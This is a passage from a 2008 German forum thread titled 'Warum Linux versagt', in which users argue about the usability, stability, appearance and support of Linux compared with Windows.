KugelfischToday is Setting Orange, the 40th day of Chaos in the YOLD 3178
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23. 11. 2008, 20:35 #17
Re: Warum Linux versagt
Ok, ueber das Aussehen von Ubuntu kann man streiten. Aber meiner Meinung nach ist das das Letzte, das ich von einem Betriebssystem erwarte. Es soll funktionieren und erst in zweiter Linie gut aussehen.Zitat von Herbmann
Was ich während des Hochfahrens und nach der Anmeldung auf dem Bildschirm präsentiert bekam, gehört, nach Windows 3.11 und Windows 95, tatsächlich in allen seinen Brauntönen zum Hässlichsten, was ich jemals gesehen habe.
Wie oben schon geschrieben, ist es erst in zweiter Linie wichtig wie eine Oberflaeche aussieht. Mit wenigen Handgriffen ist ein KDE oder GNOME Desktop so aufgebaut, dass er Vista oder MacOS X aehnlich sieht. Geschweige denn, dass Vista meiner Meinung nach nicht zu den schoensten Desktops gehoert.Bedarf es wirklich eines bezahlten Programmierers oder eines kommerziellen Systems, um einen ansprechenden und schönen Destop zu bekommen ? Gibt es angenehme
und „sexy“ Desktops direkt „Out-of-the-Box“ nur bei Vista, Windows 7 und MacOS X?
Das mag bei dir der Fall sein. Aber ich denke, dass die Leistung eines Systems eher daran gemessen werden sollte, wie Umfangreich der Code ist, bzw. wie ausgelastet ein System durch den Betrieb des OS ist. Wenn ich daran denke, wie viel Ressourcen Vista alleine fuer die damals so hochgelobten 3D Effekte benoetigt. Auf meinem alten Laptop haette ich die Vista Effekte nicht laufen lassen koennen, weil einfach meine Grafikkarte dafuer nicht gereicht haette. In Linux hatte ich diverse Effekte laufen und der Desktop Cube hat sich einwandfrei und ohne Ruckeln gedreht.Die Leistungsfähigkeit eines Systems messe ich grundsätzlich anhand eines OpenGL-Spieles mit dem Namen Armagetron Advanced, welches man online spielen kann und die aktuellen Frameraten während des Spiels anzeigt.
Ich habe auch selber mal mit Visual C++ gearbeitet. Was da an unnoetigen Zeilen generiert wird, ist auch unfassbar. Wenn man da einen Code schreibt, der normalerweise z. B. 200 kB hat, kommt er aus Visual C++ mit 1 MB heraus. Und der Rest ist Kommentar, den sowieso keiner lesen kann, wenn erst die .exe-Datei fertig ist.
Man sollte auch lesen, wass die Distributoren schreiben. Die Alpha und Beta Releases von openSUSE sind auch nur fuer Testzwecke, damit die Programmierer Rueckmeldungen erhalten, was nicht funktioniert. Also fuer den Produktiveinsatz nicht wirklich geeignet.Aufgrund der Fehlermeldungen und unerklärlichen Abstürze verschwand dann auch openSuSE 11.0 von der Festplatte und ich probierte, der Vollständigkeit halber, die Beta 5 von openSuSE 11.1. Leider funktionierte hier schlicht nichts.
Genau aus diesem Grund waehle ich auch immer meine Distributnion aus.mmerhin ein schön gewählter Codename. Kein muffiges und spiessig klingendes „Ubuntu“, sondern ein „Mint Felicia“.
Die Programme die du da aufzaehlst, hast du aber mit deinen Linuxdistributionen nicht getestet oder? Denn diese "alltaeglichen Programme" laufen bei mir einwandfrei. Und wenn du wirklich diese Programme getestet haettest, die du taeglich brauchst, anstatt Spiele die du ab und zu spielst, waerst du vielleicht noch bei Linux.Damit beendete ich meinen kleinen Distributionstest. Ich kramte weit nach Mitternacht frustriert meine Windows XP-CD aus dem Schrank und installierte sie. Nach weiteren zwei Stunden war alle Software installiert und ich konnte damit arbeiten. Wohlgemerkt – zwar nicht ausschließlich aber doch mit einer großen Anzahl Open-Source Software. Denn die gibt es nicht nur für Linux, sondern auch für Windows, egal ob Blender, Gimp, Open Office, Audacity oder Paint.net, um nur ein paar wenige zu nennen.
Wie mathmos schon schrieb waere besser gewesen, wenn du vorher abgewogen haettest, ob Linux ueberhaupt fuer diese Firmen die passenden Programme mitliefert.Traurig, aber wahr: Jede kleine Firma und jeder (!) Privatmann, dem ich mal Linux installiert und schmackhaft gemacht habe, verwendet wieder XP oder Vista. Sie kamen weder mit den (immer noch) vielfältigen englischen Meldungen zurecht, noch mit den Abstürzen ihres Systems im täglichen Desktop-Einsatz.
Ich habe Linux auch fuer den taeglichen gebrauch aber Abstuerze und englische Fehlermeldungen sind bei mir nicht an der Tagesordnung. Ich kann mich eigentlich nicht erinnern, dass ich jemals eine englische Fehlermeldung hatte, oder den letzten Totalabsturz an dem ich nicht selber schuld gewesen bin.
Geschweige denn, dass die Fehlermeldungen in Windows so intelligent sind. Wenn man eine Fehlernummer bekommt, die man dann erst mal im Internet suchen muss um zu wissen, woran es liegt. Sollte man ueberhaupt aus den Fehlermeldungen in Windows herausbekommt.
Wo funktioniert Windows so einwandfrei? Wenn du eine ausgefallene Hardware hast, ist es in Windows nicht anders als in Linux. Da musst du auch erst Treiber nachinstallieren, damit es funktioniert. Komfortabel bedienen laesst sich Linux auch, wenn man sich etwas darum kuemmert und bereit ist was neues zu lernen.Windows hat eben nicht nur deshalb eine beherrschende Position auf dem Weltmarkt aufgrund von Monopolen, sondern vor allem, weil es einfach funktioniert und sich komfortabel bedienen lässt.
Als wenn eine Windows Version gut gelaufen ist, bis zu den ersten Updates oder gar dem ersten Service Pack.Erst wenn die Programmierer und Distributions-Erbauer ihre Distributionen nicht mehr nach Zeitplan releasen und somit von Releasedatum zu Releasedatum hecheln, sondern mal wirklich etwas Benutzbares bauen, wird es mit Linux weitergehen.
Sicherlich gibt es viele die mit dem Programmieren fuer Linux Geld verdienen. Aber es sind noch viel mehr die es unentgeltlich machen. Bei Microsoft ist es aber so, dass die Programmierer dort sicherlich nicht wenig verdienen und auch sicher gute Programmierer sind aber trotzdem machen auch sie Fehler. Und ich gebe dann nicht unmengen an Geld dafuer aus, dass ich ein fehlerbehaftetes Betriebssystem habe, wo dann noch nicht mal Zusatzsoftware wie Office enthalten ist und ich nochmal extra daruer zahlen muss. Da nehme ich doch lieber Open Source Software. Da weiss ich, dass Fehler nicht ausgeschlossen sind, aber an der Anzahl der Programmierer ist die Fehlerhaeufigkeit vile geringer. Und wenn es Fehler gibt, werden diese dann so schnell wie moeglich ausgebessert und nicht erst gewartet, bis zum naechsten Patchday, der dann weit in der Zukunft liegt.Sicher werden jetzt wieder viele Linux-Anwender mir ein dezentes „aber es ist doch kostenlos und die Entwickler programmieren es in ihrer Freizeit..“ entgegenhalten. Aber dies kann ich nicht gelten lassen. Linux möchte sich offiziell als Alternative oder Konkurrenz zu den anderen Betriebssystemen positionieren. Somit muss sich Linux auch gefallen lassen, an den gleichen Maßstäben gemessen zu werden. Mal davon abgesehen, das viele Entwickler bzw. Programmierer sehr wohl ihr Geld damit verdienen.
Sicherlich kommt es vor, dass Projekte eingestellt werden. Aber es gibt dann genuegend Ersatzprogramme, die das gleiche erledigen. Und bei groesseren Projekten kommt das auch selten vor.Was mich zum letzten Kritikpunkt bringt. Wie ich schon so häufig beobachten musste, gibt es immer wieder Projekte, die einfach eingestellt werden. Der Entwickler schon lange gegangen, da er vermutlich andere Betätigungsfelder gefunden hat.
Da gebe ich nur 2 Beispiele:Das unter solchen Umständen eben diese Firmen lieber Windows oder MacOS mit definiertem Support und Haftungsfragen installieren, dürfte wohl klar sein. Auch in diesem Punkt muss sich noch viel ändern, damit sich die Linux-Akzeptanz erhöht. Dieses wurde in den letzten 10 Jahren nicht geschafft und es wird wohl auch in den nächsten zehn Jahren nichts werden.
1. RedHat Enterprise Linux
2. SuSE Linux Enterprise Server und Enterprise Desktop
Support von Linux bis zum Abwinken.
Die Frage ist nur wie lange noch. Denn nach ein paar Monaten ist dein System so vollgestopft mit Temporaeren Dateien (die niemand benoetigt), dass es so langsam wird, dass du dann wieder neu aufsetzt.Derzeit jedenfalls arbeite ich unter Vista 64-Bit auf meinem Hauptrechner sowie unter Windows XP Pro auf meinem Notebook. Alles läuft stabil und funktioniert.
Na endlich wieder mal ein Autovergleich. Die haben mir schon gefehlt. :-)Zitat von mathmos
Linux ist nicht Windows. Genauso wie ein 1er BMW kein VW Golf ist.
Ich bin der Meinung, dass jedes Betriebssystem seine Daseinsberechtigung hat. Auch wenn ich von Microsoft schon lange nicht mehr ueberzeut bin. Aber deshalb ist es nicht schlechter. Ich habe einfach mein "Glueck" mit Linux gefunden. Andere wiederum sind mit Windows gluecklicher, weil sie einfach fuer den taeglichen gebrauch nichts anderes brauchen. Und ich bin aus diesem Grund gewechselt, weil ich nicht mehr so viel Geld fuer Softwarelizenzen ausgeben wollte.
mfg chiligreen01110111 01110111 01110111 00101110
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23. 11. 2008, 20:40 #18
Re: Warum Linux versagt
Naja da wo ich arbeite haben wir öfter mit Linux zu tun, ich arbeite nur damit teilweise, abe der harte Kern (Embedded Systeme etc.) haben/leben Linux.
Und da kann ich mir jedes mal anhören wie scheisse Windows ist.
Ich komm mit Linux klar meine Meinung ist nur (wie geschrieben) das einige Sachen einfach zu komplex sind als das ein normalo damit klar kommen würde.
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23. 11. 2008, 20:42 #19
Re: Warum Linux versagt
@ chiligreen
Verflucht, du bist ja immer noch hier. Hätte ich das gewusst, hätte ich mir etwas anderes ausgedacht. Vielleicht mit Äpfel und Birnen. Oder Fisch und Fleisch. Oder gar Windows und Linux. Ups darum gehts es ja.
cu
mathmos
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23. 11. 2008, 21:01 #20ktrailGast
Re: Warum Linux versagt
Bullshit. Weisste selbst, oder?
Zitat von r3
Paketmanager + und die generelle einfachste Verfügbarkeit von kostenloser* Software für fast jeden Zweck... Benutzerverwaltung. Serverdienste. Treiberinstallation. Alles einfacher unter Linux.
*) Jaja, laber laber, "frei" != kostenfrei. Aber "frei" => kostenfrei, in fast jedem Fall.
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